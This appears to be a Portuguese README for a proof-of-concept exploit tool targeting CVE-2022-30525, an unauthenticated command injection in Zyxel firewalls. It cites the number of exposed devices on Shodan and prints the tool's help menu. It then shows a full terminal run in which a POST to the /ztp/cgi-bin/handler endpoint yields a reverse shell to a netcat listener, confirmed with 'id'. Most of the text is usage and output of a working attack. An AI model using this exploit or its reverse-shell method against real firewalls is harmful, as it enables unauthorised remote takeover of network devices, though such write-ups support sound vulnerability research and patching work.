
Prova de conceito de exploit para CVE-2022-30525 (injeção de comando no firewall Zxyel)
Victorian Machinery é uma prova de conceito de exploração para CVE-2022-30525. A vulnerabilidade é uma injeção remota de comandos não autenticada que afeta firewalls Zyxel que suportam provisionamento zero touch. A Zyxel lançou uma correção para este problema em 28 de abril de 2022. Os seguintes modelos são conhecidos por serem afetados:
No momento da escrita, havia mais de 16.000 dispositivos afetados visíveis no Shodan. Expor a interface web de gerenciamento não é a configuração padrão, o que implica que há muitos outros sistemas afetados não expostos à internet. Esses sistemas também suportam atualização automática (não ativada por padrão), então um bom subconjunto já está corrigido contra este problema.
Victorian Machinery explora o alvo e captura um shell reverso usando um ouvinte nc bifurcado. Isso foi testado no Ubuntu 20.04. O PoC tenta executar /usr/bin/nc por padrão. Se o seu nc estiver em outro lugar, você precisará atualizar a opção . Veja o menu de ajuda completo abaixo:
nc-pathalbinolobster@ubuntu:~/victorian_machinery$ python3 victorian_machinery.py --help
$$\ $$\ $$\ $$\ $$\
$$ | $$ |\__| $$ | \__|
$$ | $$ |$$\ $$$$$$$\ $$$$$$\ $$$$$$\ $$$$$$\ $$\ $$$$$$\ $$$$$$$\
\$$\ $$ |$$ |$$ _____|\_$$ _| $$ __$$\ $$ __$$\ $$ | \____$$\ $$ __$$\
\$$\$$ / $$ |$$ / $$ | $$ / $$ |$$ | \__|$$ | $$$$$$$ |$$ | $$ |
\$$$ / $$ |$$ | $$ |$$\ $$ | $$ |$$ | $$ |$$ __$$ |$$ | $$ |
\$ / $$ |\$$$$$$$\ \$$$$ |\$$$$$$ |$$ | $$ |\$$$$$$$ |$$ | $$ |
$$\ \_/ $$\__| \_______| \____$$\______$$\__| \__| \_______|\__| \__|
$$$\ $$$ | $$ | \__|
$$$$\ $$$$ | $$$$$$\ $$$$$$$\ $$$$$$$\ $$\ $$$$$$$\ $$$$$$\ $$$$$$\ $$\ $$\
$$\$$\$$ $$ | \____$$\ $$ _____|$$ __$$\ $$ |$$ __$$\ $$ __$$\ $$ __$$\ $$ | $$ |
$$ \$$$ $$ | $$$$$$$ |$$ / $$ | $$ |$$ |$$ | $$ |$$$$$$$$ |$$ | \__|$$ | $$ |
$$ |\$ /$$ |$$ __$$ |$$ | $$ | $$ |$$ |$$ | $$ |$$ ____|$$ | $$ | $$ |
$$ | \_/ $$ |\$$$$$$$ |\$$$$$$$\ $$ | $$ |$$ |$$ | $$ |\$$$$$$$\ $$ | \$$$$$$$ |
\__| \__| \_______| \_______|\__| \__|\__|\__| \__| \_______|\__| \____$$ |
$$\ $$ |
⚙ jbaines-r7 \$$$$$$ |
CVE-2022-30525 \______/
🦞
usage: victorian_machinery.py [-h] --rhost RHOST [--rport RPORT] --lhost LHOST [--lport LPORT] [--protocol PROTOCOL] [--nc-path NCPATH]
Zyxel Firewall Command Injection (CVE-2022-30525)
optional arguments:
-h, --help show this help message and exit
--rhost RHOST The remote address to exploit
--rport RPORT The remote port to exploit
--lhost LHOST The local address to connect back to
--lport LPORT The local port to connect back to
--protocol PROTOCOL The protocol handler to use
--nc-path NCPATH The path to nc
albinolobster@ubuntu:~/victorian_machinery$ python3 victorian_machinery.py --rhost 10.0.0.14 --lhost 10.0.0.28
$$\ $$\ $$\ $$\ $$\
$$ | $$ |\__| $$ | \__|
$$ | $$ |$$\ $$$$$$$\ $$$$$$\ $$$$$$\ $$$$$$\ $$\ $$$$$$\ $$$$$$$\
\$$\ $$ |$$ |$$ _____|\_$$ _| $$ __$$\ $$ __$$\ $$ | \____$$\ $$ __$$\
\$$\$$ / $$ |$$ / $$ | $$ / $$ |$$ | \__|$$ | $$$$$$$ |$$ | $$ |
\$$$ / $$ |$$ | $$ |$$\ $$ | $$ |$$ | $$ |$$ __$$ |$$ | $$ |
\$ / $$ |\$$$$$$$\ \$$$$ |\$$$$$$ |$$ | $$ |\$$$$$$$ |$$ | $$ |
$$\ \_/ $$\__| \_______| \____$$\______$$\__| \__| \_______|\__| \__|
$$$\ $$$ | $$ | \__|
$$$$\ $$$$ | $$$$$$\ $$$$$$$\ $$$$$$$\ $$\ $$$$$$$\ $$$$$$\ $$$$$$\ $$\ $$\
$$\$$\$$ $$ | \____$$\ $$ _____|$$ __$$\ $$ |$$ __$$\ $$ __$$\ $$ __$$\ $$ | $$ |
$$ \$$$ $$ | $$$$$$$ |$$ / $$ | $$ |$$ |$$ | $$ |$$$$$$$$ |$$ | \__|$$ | $$ |
$$ |\$ /$$ |$$ __$$ |$$ | $$ | $$ |$$ |$$ | $$ |$$ ____|$$ | $$ | $$ |
$$ | \_/ $$ |\$$$$$$$ |\$$$$$$$\ $$ | $$ |$$ |$$ | $$ |\$$$$$$$\ $$ | \$$$$$$$ |
\__| \__| \_______| \_______|\__| \__|\__|\__| \__| \_______|\__| \____$$ |
$$\ $$ |
⚙ jbaines-r7 \$$$$$$ |
CVE-2022-30525 \______/
🦞
[+] Executing netcat listener
[+] Using /usr/bin/nc
Listening on 0.0.0.0 1270
[+] Sending a POST request to https://10.0.0.14:443/ztp/cgi-bin/handler
Connection received on 10.0.0.14 43957
bash: cannot set terminal process group (10800): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.1$ id
id
uid=99(nobody) gid=10003(shadowr) groups=99,10003(shadowr)